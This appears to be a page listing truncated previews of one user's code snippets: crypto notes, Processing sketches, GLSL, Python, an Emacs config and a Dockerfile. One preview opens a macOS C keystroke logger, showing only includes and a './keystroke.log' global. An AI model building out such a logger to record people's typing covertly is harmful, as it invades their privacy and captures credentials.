davidrusu

Elliptic Curve Cryptography Basics

Lets quickly build up a ECC system so that we are all on the same page.

Elliptic Curve Cryptography Basics: Finate Field

First, define a finate field F_q where q is a large prime.

Operations in F_q are all done modulo q.

davidrusu

from random import random


def busy_block(stepper):
    res = None
    while stepper is not None:
        stepper, res = stepper()
        print(res)
    return res

davidrusu

float angle(vec2 uv) {
    float a = atan(uv.y / uv.x);
    if (uv.x < 0.) {
        a += PI;
   } 
    if (uv.x > 0. && uv.y < 0.) {
        a += PI2;
    }
    return a;
}

davidrusu

#include <stdio.h>
#include <time.h>
#include <ApplicationServices/ApplicationServices.h> /* ApplicationServices.framework needed */

char *logFileName = "./keystroke.log";
FILE *logFile = NULL;
int counter = 0;

struct timespec prev_time;

davidrusu

void setup() {
  size(500, 500);
}

void tree(float x, float y, float length, float angle) {
  if (length < 2) {
    return;
  } 
  float ny = y - length * sin(angle);
  float nx = x + length * cos(angle);

davidrusu

import java.awt.event.KeyEvent;

float drag = 0.9;

class Point {
  float x, y, vx, vy;
  
  Point(float x, float y) {
    this.x = x;
    this.y = y;

davidrusu

int count = 1;

void setup() {
  size(500, 500);
}

void keyPressed() {
  if (keyCode == UP) {
    count += 1;
  } else if (keyCode == DOWN) {

davidrusu

from random import shuffle
from math import log2, floor

def main():
    A = list(range(15))
    B = list(range(10))
    print("Before:\t A =", A)
    print("\t B =", B)
    N = len(A)
    P = 5 # Number of procs

davidrusu

(require 'package)

(add-to-list 'package-archives
             '("melpa" . "https://melpa.org/packages/"))

(package-initialize) ;; You might already have this line


(require 'multiple-cursors)

davidrusu

FROM tutum/nginx
RUN rm /etc/nginx/sites-enabled/default
ADD sites-enabled/ /etc/nginx/sites-enabled
ADD static/ /www/static

# the directory structure of the nginx component: 
# ./nginx
# ├── Dockerfile
# ├── sites-enabled
# │   └── app